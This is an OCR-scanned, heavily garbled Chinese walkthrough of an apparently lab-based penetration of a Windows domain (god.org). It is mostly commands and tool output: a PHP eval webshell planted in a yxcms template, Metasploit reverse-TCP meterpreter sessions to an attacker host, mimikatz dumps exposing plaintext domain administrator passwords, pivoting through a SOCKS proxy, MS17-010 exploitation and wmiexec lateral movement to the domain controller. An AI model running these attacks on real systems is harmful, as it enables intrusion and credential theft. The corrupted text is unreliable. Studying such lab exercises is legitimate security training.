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ZEwebfR5Z 2
|

nmapscE— TR 23 FF MY IR O AR SS .

:~# nmap -A -sV -p 1-65535 192.168.1.12

Starting Mmap 7.8@ ( https://nmap.org ) at 2020-05-31 @86:901 EDT
Hmap scan report for 192.1 1.12
Host is up (0.00054s latency).
Hot shown: 65533 filtered ports

PORT STATE SERVICE VERSION
8@/tcp open http Apache httpd 2.4.23 ((Win32) Open55L/1.8.27 PHP/5.4.45)

_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.8.27 PHP/S.4.45

_http-title: phpStudy ‘\xE& WeA2\XES\x92\xBE 2014

3306/tcp open mysql  MySQL (unauthorized)
MAC Address: @@:@C:29:FA:43:C4 (VMware)
Warning: 05Scan results may be unreliable because we could not find at least 1 open and 1 closed port
05 details: Microsoft Windows rver 2008 or 2008 Beta 3, Microsoft Windows Server 2008 R2 or Windows 8.1, Microsoft Win
dows 7 Professional or Windows 8, Microsoft Windows Embedded Standard 7, Microsoft Windows 8.1 R1, Microsoft Windows Pho
ne 7.5 or 8.8, Microsoft Windows Wista 5P@ or SP1, Windows Server 2808 5P1, or Windows 7, Microsoft Windows Vista 5P2, W
indows 7 SP1, or Windows Server 2008

Hetwork Distance: 1 hop

F 7803306 O, ihAIE NphpmystudyiHFé, SIFEN KRN —LphpS .,

phpStudy $REt  for ehestudy 2014 not EMES phpstudy 5t

ESEEREE IR 192.168.1.12(192.168.1.12)

BEdwms Winidows NT STUL 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) I585

e EE Windows SASEE: NT BEHREIE Apache/2.4.23 (WinZ2) OpensSsSL1.0.2) PHP/5.4.45
EEEREE th-CN,zh;q=0.9 EEHERD a0

BEHE=NE sTul A CfphpShudy WY

EERcH adminZphpStudy.net FHES C:fphpStudyWany1php

PHPES (phpinfo) : PHPINFD PHPEEZ (php_version) : 5.4.45
PHREETSS: APACHEZHANDLER B SRR (memony_limi) - 1281
PHPEE RIS (safe_mode) : - POSTETEIRZERATRY (post_max_sze) : &M
Eftrisierian (upload_max_filesize) M FOTERITEWMEEN (oredsion) : 14
ETETT (max_execution_time) : 30k socketETTTNN (default_socket_timeout) : 1
PHFTEREE (doc_root) = . EFREE (user_dir) :

AER (enable_dl) : ® AEEETEAT (indude_path) ~
BEFERAER (display_emors) : W EELER=R (regster_globals) :

EomE S (magic_quotes_gpc) ¢ . "¢, T EEE (short_open_tag) :

S 9 "ASPEED (asp_tags) : = FEREIREES (ipnore_repeabed_emors) :
SRENIENE (ignore_repeated_source) : . HEEMTEN (report_memleaks) : "
BIEPEEEm (magic_quotes_gpd) ¢ = FHEFSMERL (magic_quetes_runtime) :
FIFHEMETE (allow_url_fopen) : W EEBargqvidargc=til (register_arpc_argv) -

Cookde Eig: v MEEE (ASped Library) :

ERENTER (BCMath) : v PREL'EEEZ (PCRE) :
POFITEE#S: 3 SHMPREETE DN

BEIMIEERZE Tyxcms, BIREEH —TFTXPTcecmsBH4aRE, RARADEZRS
By, BIEXSS. XHMIF. XBBEAN, A"IEXALFEHFSTENA.

ihle) fE & ik
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I E3EER
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L] SEivsE: [ERAREEs]

index_index.php

= !php if{ldefined("APP_NAME") exit;?=

«<?php @eval($_POST[ emd'] 1 7=

script type= tr.-a.t_-,am“ria'.' src="__ PUBLICAPP_/jsfiquery.KinSlideshow-1.2.1.min,js"> </script>
<script type="text/javascript’ src="__ PUBLICAPP__/js/jquery.slider.pack.js'= </script=
«script type="text/javascnpt’ src="__ PUBLICAPP_ fjs/jquery.easing.)s'= < /script>

<script type="text/javascnpt’
/<I[CDATA]

JQuer}r fur ction() {
_]C,'uery: 5:5'-': e-prev, Fcycle-next’).css{{opacity: '0
jQuery(.cycleslider-wrap”).hover(function(){
JQuery(#cycle-prev' this). stop(. animate({left: '-31', opacity: '1'},200,'easeQutCubic’);

jQuery. Zcycle-next’ this).stop().animate({right: -3
}, function(]

opacity: '1'},200, easeQutCubic”);

JQuery('#cycle-prev' this).stop().animate({left: -50', opacity: ' _=3.23 easelnCubic’)
jQuery(Fcycle-next’ this).stop().animate({right: -50°, opacity: '0'},400,"easelnCubic');
1.
I

AntSword

AntSword Edit Window

« =22 152168112 ¥
[ Febders (4) ¢ | DiFdes @ "~
M c D New - o+ UP & Refresh W Elome A Bookmark - CophpStudy WwwW/iyscm & Read
phpSdy .
Mame Time Skee Asir
™7 W
0O dea 2019-10-13 17:01:07 ob arr?
VECmS

b s [0 protected 2009-10-13 17:01:07 4 Kb arry

B protecied 0O public 2009-10-13 17:01:07 4Kb ar7?

I public 3  upload 2009-10-13 17:01:07 4 Kb [V

b uptoad M heaccess 200 3-0- 20 0145249 175 64

o [B mupdin 2001 3068200 065 46: 32 214b 0656

@ index.php 2000 3-08- 200 0 b4 ME b GGG

[# mobots 2001 3-08-20 09:46:43 B3k 04

[£] o966 20031225 101357 a0 b 0666

Z 3 webshelllz, WEHAIER,

C:\phpStudy\WwW\yxcms> whoami

god\administrator

EEMERE—TEEAT, EENRR—REFTERNRAE, BIRAH T BRRERmsT
RIRE N,

E/ulinj\i/_\EEk J'E'E'}I;Eigld\\j]DﬁHFT
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C: \phpStudy\HHH\yxcme net

|:.:: _' h"n'_ I_. | TG

C \phpStudy\M\yxcms# net localgroup administrators

377 s F."r_'-l ol

C:\phpStudy\WWW\yxcms> |

E&mO, RMWIRFF3389,

C:\phpStudy\WWW\yxcms> netstat -a

BUEMRBETS3389,

. yphpStudy Wiy icns>
CoyphpStudy WWWiyxcas> FEG ADD HELMASYSTEM

ChphpStudy WWiyxcess netstal

CoyphpStudy ' WWWuyxces> [

MINFFE3389, EmstscEAR L, ARERERKMAEELZT, ZUXABKIE (F LR
RN, BEWERBSEEH XERE LIF3389Im O MIT) .

a
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C: \phpStudy WW yicms>

L uphpStudy WeWyxcmss
DuphpStudy s WlW yxcms>
e tr e e

C:\phpStudy Wi yxcms>

PRLLIFT 4

IPIEE, BHEINIP 192.168.1.12F 1K MIP192.168.52.143,
ZEFEADE, WEKRN192.168.52.0,
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B® C\Windows\system32\cmd.exe =~

Microsoft Windows [Hﬁ'ﬁﬁﬁ.i.?ﬁﬁil
iR P <c> 2089 Microsoft Corporation.

* -

ihllsersstest>

stul
god.oprg

=

god.org

EFER 92 Ay

Intel{R> PRO-1HBH MT Hetwork Connection #

A0-AC-29-FA-43-C4
=

=
fe80::cdd@:edb5:31b:cealdz25¢H k)
192.168.1.12¢HE>

255 .255.255.0

2020 F5H31H 17:18:32

2020 F6 H1H 17:18:28

192.168.1.1

192.168.1.1

721423461
#0-01-080-01-24-F3-A2-4E-80-BC-29-A7-C1-A8

DHCPu6
DHCPub

BB @@ EE  mE E@  EE  WE  ®®  EE  WE  E®  EE

DNS FRS5ES . . . 192.168.1.1
TCPIP _F] NetBIOS

LaE R AEZABAFP{EEnet config Workstation,
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“SETul
stul .god.ory
test

NetBT _Tcpip_ {4DAEBDFD-B177-4691-8243-B73297E2FAFF> (BABC29FA43BA>
NetBT _Tcpip {55ECD?29-FBB2-4D26-B43D-8FFEE14A169F> <(BABC29FA43C4>
NetBI _Tcpip <{EC57C4EB-763E-4800-9CDE-4D7FF15DF?74C> (B2884C4F4F58)

Windows 7 Professional
ik dat GOD

T{EdElE DNs B ER god.org
AL STU1

a
16

HIBFE 18 net time /domain, i —RAENERS

:iiﬁ%i% 5,

\\ROOT-TUI862UBEH
N\NN\STUL

G T TR
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WE-—LEHMOAMER......

RNTHE, FAmsfvenom&Er Tpowershell R#EEImsfT,

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload windows/x64/meterpreter/reverse_tcp
payload =» windows/x64/meterpreter/reverse_tcp

msf5 exploit( ) > set lhost 192.168.1.3@

lhost = 192.168.1.30

msf5 exploit( ) = run

Started reverse TCP handler on 192.168.1.30:44644
Sending stage (206403 bytes) to 192.168.1.12
Meterpreter session 1 opened (192.168.1.30:4444 — 192.168.1.12:2741) at 2020-905-31 08:10:17 -0400

meterpreter > [J

EIMMARSZZEZBBhashiXRBR A, FERMN, getsystemzkMW, (HBAEINAE, =i
LE®K) , BmsfEFNATRINEEELREEINBENIRE.

meterpreter » bg

Backgrounding session 1 ...
mzfS exploit( ) » use post/windows/gather/enum_patches
msf5 post( ) > show options

Module options (post/windows/gather/enum_patches):

Name Current Setting Required Description

EB KB2871997, KB2928128 vyes A comma separated list of KB patches to search for

MSFLOCALS true yes Search for missing patchs for which there is a M5F local module
SESSION yes The session to run this module on.

msfS post( ) > set session 1
session = 1
msf5 post( J > rum

KB2871997 is missing

KB2928128 is missing

KBE977165 - Possibly vulnerable to M518-@15 kitrapeéd if Windows 2K SP4 - Windows 7 (x86)

KB238542@8 - Possibly vulnerable to M51@-892 schelevator if Vista, 7, and 2808

KB2592799 - Possibly vulnerable to M511-@8@ afdjoinleaf if XP SP2/5P3 Win 2k3 5P2

KB2778938 - Possibly vulnerable to M513-885 hwnd_broadcast, elevates from Low to Medium integrity
KB2858851 - Possibly vulnerable to M513-853 schlamperei if x86 Win7 SPe/5P1

KB28700088 - Possibly vulnerable to M513-881 track_popup_menu if x86 Windows 7 SPR/SP1

Post module execution completed

EMTFBELARERH, AWindows ExploitSuggesterB&E T —TF, KMAMNUFEHR
ms16-014, HHRINEEsystemiX R,

msf5 exploit( ) > set session 1
session =» 1
msf5 exploit( ) > run

Started reverse TCP handléer on 192.168.1.30:4444
Launching notepad to host the exploit ...
Process 22808 launched.
Reflectively injecting the exploit DLL into 2280 ...
Injecting exploit into 2288 ...
Exploit injected. Injecting payload into 2288 ...
Payload injected. Executing exploit ...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
Command shell session 2 opened (192.168.1.30:4644 — 192.168.1.12:3204) at 2020-05-31 @9:45:16 -0400

whoami
whoami
nt authority\system

—“Mshell, EBE# B meterpreter, Elsession 4,

https://mp.weixin.qq.com/s/QX2jiV_C4vSuFjOE7pf-uA
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msf5 post(
msf5 post(

Active sessions

Id Hame Type
nnection

méterpreter x64/windows STUl\test & STU1
L30ih444 = 192.168.1.12:2741 (192.168.1.12)

shell x64/windows Microsoft Windows [_ 6.1.7681] _ (c) 2089 Microsoft Corporation_ C
L3Ri6444 = 192.168.1.12:3234 (192.168.1.12)

meterpreter x86/windows NT AUTHORITY\SYSTEM 3 STU1
L30:6433 = 192.168.1.12:3299 (192.168.1.12)

mimikatziMBXAE Fhash, {B3% M+ EXZRE,

meterprater >

meterpreter > mimikatz_command -f samdump :: hashes
Ordinateur : stul.god.org

BootKey : fd4639f4e27c79683ae9fee56bs4393F

Rid 500

User : Administrator

LM

NTLM : 31d6cfeddl6aed?31b?3ic59d7edcdsdcd

Rid
User
LM
NTLM

Rid

User livkaifengel

LM

NTLM : 3id6cfedditaed31b73c59d7edcBoch

Rid 1ee4

User test

LM

NTLM : &7bf8039a8506cd67c524aR3ffB4bade

meterpreter > mimikatz_command -f sekurlsa:: searchPasswords

mod_process :: getVeryBasicModulesListForProcess : (@=x0800012b) 069 ReadProcessMemory WriteProcessMemory ©B
Donn€es LSASS en erreur

meterpreter > i

https://mp.weixin.qq.com/s/QX2jiV_C4vSuFjOE7pf-uA 11/22
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Bl T

N I W

HEHBB R TE Tmimikatz,

meterpreter > upload /5 windows-resources/mimikatz/x64/mimikats . exe
uploading : fusr/share/windows-resources/mimikatz/x64/mimikatz.exe —+ mimikatz.exe
Uploaded 983.15 KiB of 983.15 KiB (100.0%): Jusr/share/windows-resources/mimikatz/x64/mimikatz.exe = mimikatz.exe
uploaded : fusr/share/windows-resources/mimikatz/x64/mimikatz.exe — mimikatz.exe

meterpreter > dir

Listing: C:\Users\test

https://mp.weixin.qq.com/s/QX2jiV_C4vSuFjOE7pf-uA 12/22
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C:\Users\test>mimikatz.exe
mimikatz.exe

Lpuaas.  mimikatz 2.2.0 (x64) #18362 May 13 2019 01:35:04
P~ . "A La Vie, A L'Amour” - (oe.eo)
i/ \ ## [xxx Benjamin DELPY “gentilkiwi® ( benjaminggentilkiwi.com )
N/ > http://blog.gentilkiwi.com/mimikatz
"B v o Vincent LE TOUX ( vincent.letoux@gmail.com )
‘Hunug > http://pingcastle.com / http://mysmartlogon.com &/

mimikatz # privilege :: debug
Privilege '20' 0K

mimikatz # sekurlsa:: logonPasswords

Authentication Id : @ ; 4518494 (00000000:0044f25e)
Session : RemoteInteractive from 2
User Name : test
Domain : STU1
Logon Server : STUl
Logon Time : 2020/5/31 19:42:21
SID : 5-1-5-21-1982601180-2087634876-2293013296-1004
msv :
[oe0@0003] Primary
* Username : test
* Domain : STul
* LM : f26fb3ae®3e93ab9cB81667e9d738c5d9
* NTLM : 47bfB8039a8506cd67c524a03ffB4bake
* SHA1 : d2124cab9a30639bdb202a185264475a693a5481
tspkg :
* Username : test
* Domain : STUl
* Password : Aal23456
wdigest :
* Username : test
* Domain : STul

https://mp.weixin.qq.com/s/QX2jiV_C4vSuFjOE7pf-uA 13/22



2020/7/27

Authentication Id :
Session
User Name
Domain
Logon Server
Logon Time
SID
msv :
[e0000003]
* Username
* Domain
* LM
* NTLM
* SHA1l
tspkg :
* Username
* Domain

* Password :

wdigest :
* Username
* Domain

* Password :

kerberos :
* Username
* Domain

* Password :

Ssp :
credman :

Authentication Id :
Session
User Name

BTN
0 ; 620093 (00000000:0009763d)

: Interactive from 1

: Administrator

: GOD

: Owa

: 2020/5/31 17:19:28

: $-1-5-21-2952760202-1353902439-2381784089-500

Primary

: Administrator

: GOD

: edeal94d76c77d87d5f7fffc086227d3

: Blbe2f80d568100549beacb645d6a77141

: 216d52c4efa68532a98c8cbe2b492634d175fa84

: Administrator
: GOD
hongrisecog2020

: Administrator
: GOD
hongriseca2020

: Administrator
: GOD.ORG
hongriseca2020

0 ; 997 (00000000:000003e5)
: Service from 0
: LOCAL SERVICE

HEBSITEHEMNKFZE administrator/hongrisec@2020,

HR)5E

~e¢0

M A HAMMNEEZ192.168.52.0, MeBFESIKRME.

https://mp.weixin.qq.com/s/QX2jiV_C4vSuFjOE7pf-uA
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meterpreter > run autoroute -s 192.168.52.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ...]
Adding a route to 192.168.52.8,/255.255.255.0 ...
[+] Added route to 192.168.52.0/255.255.255.0 via 192.168.1.12
Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [ ...]

Active Routing Table

Gateway

192.168.52.0 255.255.255.0 Session &

meterpreter > [j

SREHAnetbiosthiX A WER, BRIPH192.168.52.138. 192.168.52. 141 A=
EEMN,

mefs auxiliary( ) > set rhosts 192.168.52.0/2%
rhosts = 192.168.52.8/24

msfs auxiliary( } > run

Sending NetBIOS requests to 192.168.52.8-—192.168.52.255 (256 hosts)
[+] 192.168.52.1 [DESKTOP-G4GVIBT] 05:Windows Mames:(DESKTOP-GAGVIBT, WORKGROUP) Addresses:(192.168.1.6, 18.18.18.1, 192.
168.111.1, 192.168.246.1, 192.168.52.1) Mac:00:50:56:c0:00:05 Virtual Machine:VMwWare
[+] 192.168.52.138 [OWA] OS:Windows Names:(OWA, GOD) Addresses:(192.168.52.138) Mac:0@:8c:29:7c:04:28 Virtual Machine:VMW
are
[+] 192.168.52.141 [ROOT-TVIBGZUBEH] OS:Windows Mames:(ROOT-TVIBGZUBEH, GOD, _ MSBROWSE_ ) Addresses:(192.168.52.141) Mac
(@0:@c:29:b9:ch:da Virtual Machine:VMWare
[+] 192.168.52.143 [5TU1l] O5:Windows Names:(STU1l, GOD) Mac:@@:@8c:29:fa:43:ba Virtual Machine:VMWare

Scanned 256 of 256 hosts (180% complete)

Auxiliary module execution completed
msfs auxiliary( N |

NmaENRA-—TEEBRAEmMs17-010,

msfs auxiliary( ) » set rhosts 192.168.52.138
rhosts =+ 192.168.52.138

msfS auxiliary( ) » run

[+] 192.168.52.138:445 = Host is likely VULNERABLE to M517-2818! - Windows Server 2008 R2 Datacenter 7681 Service Pack
1 x64 (B4-bit)
192.168.52.138:445 - Scanned 1 of 1 hosts (108X complete)
Auxiliary module execution completed
msfs auxiliary( ) > set rhosts 192.168.52.141
rhosts =+ 192.168.52.141
mefS auxiliary( ) > run

[+] 192.168.52.141:445 - Host is likely WULNERABLE to M517-018! - Windows Server 2083 31700 x86 (32-bit)
192.168.52. 14612545 - Scanned 1 of 1 hosts (100X complete)
Auxiliary module execution completed

msf5s auxiliary( N |

HFXKIEZHEHITWindows server 200385 %R, WEET —

FAMs17_010_commandERMITEZGTS, RNMAFRE
FFmMs17_010_psexeci&Eir,

https://mp.weixin.qq.com/s/QX2jiV_C4vSuFjOE7pf-uA
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msf5s auxiliary( )} » set command whoami
command =» whoami
msf5 auxiliary( )} > run

192.168.52.141: Target 05: Windows Server 2003 3790
192.168.52.141: Filling barrel with fish... done
192.168.52.141: | Entering Danger Zone |
192.168.52.141: [*] Preparing dynamite ...
192.168.52.141: Trying stick 1 (x64) ... Miss
192.168.52.141: [*] Trying stick 2 (x86) ... Boom!
192,168.52.141: [+] Successfully Leaked Transaction!
192.168.52.141: [+] Successfully caught Fish-in-a-barrel
192.168.52.141: | Leaving Danger Zone |
192.168.52.141: Reading from CONMECTION struct at: @xBcc7f778
192.168.52.141: Built a write-what-where primitive ...

+] 192.168.52.141: Overwrite complete ... SYSTEM session obtained!

[+] 192.168.52.141: Service start timed out, OK if running a command or non-service executable ...
192.168.52.141: checking if the file is unlocked
192.168.52.141: Getting the command output ...
192.168.52.141: Executing cleanup ...

[+] 192.168.52.141: Cleanup was successful

[+] 192.168.52.141: Command completed successfully!
192.168.52.141: Output for “whoami®:

authority\system
192.168.52.141: 445 - Scanned 1 of 1 hosts (10@% complete)

Auxiliary module execution completed
msfS auxiliary( 1> 1

ZHMEsystemiNPR, HIMAFPtest2HMAETERA,

msfS auxiliary( ) > set command net user
command =% net user
msf5 auxiliary( ) = run

192.168.52.141: 445 Target 05: Windows Server 2083 3790
192.168.52.141:445 Filling barrel with fish... done
192.168.52.141:445 | Entering Danger Zone |
192.168.52.141:445 [*] Preparing dynamite ...
192.168.52.141: 445 Trying stick 1 (x64) ... Miss
192.168.52.141: 445 [*] Trying stick 2 (xB6) ... Boom!
192.168.52.141: 445 [+] Successfully Leaked Transaction!
192 .168.52.141: 445 [+] Successfully caught Fish-in-a-barrel
192.168.52.141:445 | Leaving Danger Zone |
192.168.52.141:445 Reading from CONMECTION struct at: @x8d6eb7de
192.168.52.141: 445 Built a write-what-where primitive ...
192.168.52.141: 445 Overwrite complete ... SYSTEM session obtained!
192.168.52.141:445 Service start timed out, OK if running a command or non-service executable ...
192.168.52.141: 445 checking if the file is unlocked
192.168.52.141: 445 Getting the command output ...
192.168.52.141:445 Executing cleanup ...
192.168.52.141:445 Cleanup was successful

] 192.168.52.141:445 Command completed successfully!
192.168.52.141: 445 Qutput for “net user®:

User accounts for \\

Administrator ASPNET

IUSR_ROOT-TVIBG2UBEH IWAM_ROOT-TVIBG62UBEH SUPPORT_38B945a0
test2

The command completed with one or more errors.
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msf5 exploit(

BTN

) > run

Started reverse TCP handler on 192.168.1.30:4141

192.168.52.141:445 - Authenticating to 192.168.52.141 as user 'test2' ...

192.168.52.141:445
192.168.52.141:445
192.168.52.141: 445
192.168.52.141:445
192.168.52.141:445
192.168.52.141:445
192.168.52.141:445
192.168.52.141: 445
192.168.52.141:445
192.168.52.141:445
192.168.52.141:445
192.168.52.141:445
192.168.52.141:445
192.168.52.141: 445
192.168.52.141: 445
192.168.52.141:445
192.168.52.141:445
Exploit completed,

msf5 exploit(

Target 05: Windows Server 2083 379@
Filling barrel with fish ... done
| Entering Danger Zone |
[#] Preparing dynamite ...
Trying stick 1 (x64) ... Miss
[*] Trying stick 2 (xB86) ... Boom!
[+] Successfully Leaked Transaction!
[+] Successfully caught Fish-in-a-barrel
| Leaving Danger Zone |
Reading from COMNECTION struct at: @=8d504doe
Built a write-what-where primitive ...
Overwrite complete... SYSTEM session obtained!
Selecting native target
Uploading payload ... iCcepVPs.exe
Created \iCcepVPs.exe ...
Service started successfully ...
Deleting \iCcepVPs.exe ...

but no session was created.

£54
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) > 1

Ishell, AAEMTAREA.
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G

BAEEdpERE T, BEEsocksd4af{iE,
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msf5 auxiliary( ) >
msf5 auxiliary( )} » show options

Module options (auxiliary/server/sockséa):

Name Current Setting Required Description

SRVHOST ©.0.0.0 The address to listen on
SRVPORT 1680 yes The port to listen on.

Auxiliary action:

Name Description

Proxy

msf5 auxiliary( } » set srvhost 192.168.1.30
srvhost = 192.168.1.30
msf5 auxiliary( ) » run

Auxiliary module running as background job 1.

Starting the socks4a proxy server

SAfEFproxychains rdesktop &%,

XBIAHEHTmMs17_010_commandHF 73389i% [ :

réesktop - 192.168.52.141
rooti@icali: ~[A_.0.3-linu-x64 8 root@ikali: ~

:~8 proxychains nc -v 192.168.52.141 3369
ProxyChains-3.1 (http: fproxychaing.sf.net)
192.168.52. 1461 inverse host Lookup Failed:
|S=chainl-<»=192.168.1.30 1 1080 —(><=192. 168.52.141: 3
(UNKNOWN) [192.168.52.141] 2389 () open : Operation
*C

:=§ proxychains rdesktop 192.168.52.141
ProxyChains=3.1 (http:/fproxychains.sf.net)
autoselecting keyboard map "en-us' from locale
Ils-cha:rrl—ﬂls—:l'}?.![.-ﬂ.'l..39:15%—(54}—192.163.52.1#1:1

msfvenom —-p windows/meterpreter/bind_tcp

-e x86/shikata_ga_nai —-i 5LPORT=6666 -f exe

AmsfvenomE M — N E@SEHRHE (ARARXEHBIIN, RELEAFEK) , msflE@EE

%,
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L

&% Comemand Prompt

R

root@ali: ~
Module optio (exploit/multi/ handler):

Niase Current 'St'[l!l.l‘l; R il'i.d I"I-HLHL.-HI )

Payload cptions (windows/seterpreter/bind_tep):

Current Setting Required Description
chnique (Accepted: "°, seh, thread, process, mone)
LEn port
arget address

Exploit target:

Id Name

@ Wildeard Target

pifs exploit( } » set rhost 192 168.52.141
rhost =+ 192.168.52.141
pafs exploit( )} » run

Started bind TC
Sending stage ( 3 o 19
Meterpreter 'umn 5 r|:|.nr‘|1 (192. 1.h!| 1.30-192.168.1.12:8 = 192.168.52.141:6666) at 2020-05-31 13:04:43 -d4dd

geterpreter > ]

XEKBIH AP, 2003HEgetsystem, RREZHIFHEF,192.168.52.141/system
X BR

meterpreter > getuid

Server username: ROOT-TVIB62UBEH\test2

meterpreter > getsystem

... 20t system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > [j

Hadministrator BF Z B Ahongrisec@2020,

HIEE K MEIPAH192.168.562.138, Hms17-01084 T K31, XBBMEHAFP —#F

4

X5 shell,

BEAE EEmsfD, E@&EEs
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msf5 exploit( ) * run

Started bind TCP handler against 192.168.52.138:7777
|5-chain-<»~192.168.1.30: 1080 —><>—192,168.52,.138: 7777 < ><»—0K

Sending stage (180291 bytes) to 192.168.52.138

Meterpreter session 2 opened (192.168.1.30:39566 — 192.168.1.30:1080) at 2020-85-31 16:37:14 -0409

peterpreter > getuid

Server username: GOD\administrator

mgterpreter > getsystem

... g0t system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

peterpreter > i

HTFELMETDCHKFEREE, ETWLENHE, AU FERAwmiexeckan T HIT,
Z22E: [http://www.91ri.org/12908.html]

HANR A IwebRFZ Rshell, iBwmiexec.vbsfE k&,
FAIDCHIKF ZBMITH LRI,

C:\Users\test>cscript.exe wmiexec.vbs fomd 192.168.52.138 administrator hongriseca2e2e “ipconfig®
cscript.exe wmiexec.vbs fomd 192.168.52.138 administrator hongrisec@2@2e “ipconfig®

Microsoft (R) Windows Script Host Version 5.8

GHE0096(C) Microsoft Corporation 1996-200166-6-6406600c066040

5\ b3 A+ 4 £330 SES555N SRR\ B3N 53\ SEsSEsiN Sssaes
\ $55°, 55 |08 88 %% | 55 |35 _____|5% __ %8\
555 35348 | 33 3 L . 4§85 |48 l 357 |
$0E508% 35 | 8% $5533N A% 333 11 AN
$5 358 55 33 $3 35 54 55 33
3 NS /% 35 $35 l $5 OG0 l 33 4 3
$5 | NS 55 [555545 55539545 5% 7 55 |$$$ $554\ 555545 |
I L A |% I S N
vi.8beta By. Twilight

: Target — 192.168.52.138
WMIEXEC : Connecting ...

WMIEXEC : Login — OK

WMIEXEC : Result File = C:%wmi.dll
WMIEXEC : Share created sucess.
WMIEXEC : Share Name — WMI_SHARE
WMIEXEC : Share Path — C:\

192.168.52.138 = ipconfig

Windows IP €666

: FeB@::elbd:9cdc:bdb: 4285%11
: 192.168.52.138
: 255.255.255.8
: 192.168.52.2

R RIRGAANR, BEEENREFNFHREL, BTRHEAERRBEHRE.

FEB#HITAMNEN,
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It ZREMAMESE, REZMAREZENTIERY, ZETHMNLELRZNAEN.

THENEENERNSEN, YARNBT -—THENTHER, XA TRZ, EFTEL

WEBEZZEL .
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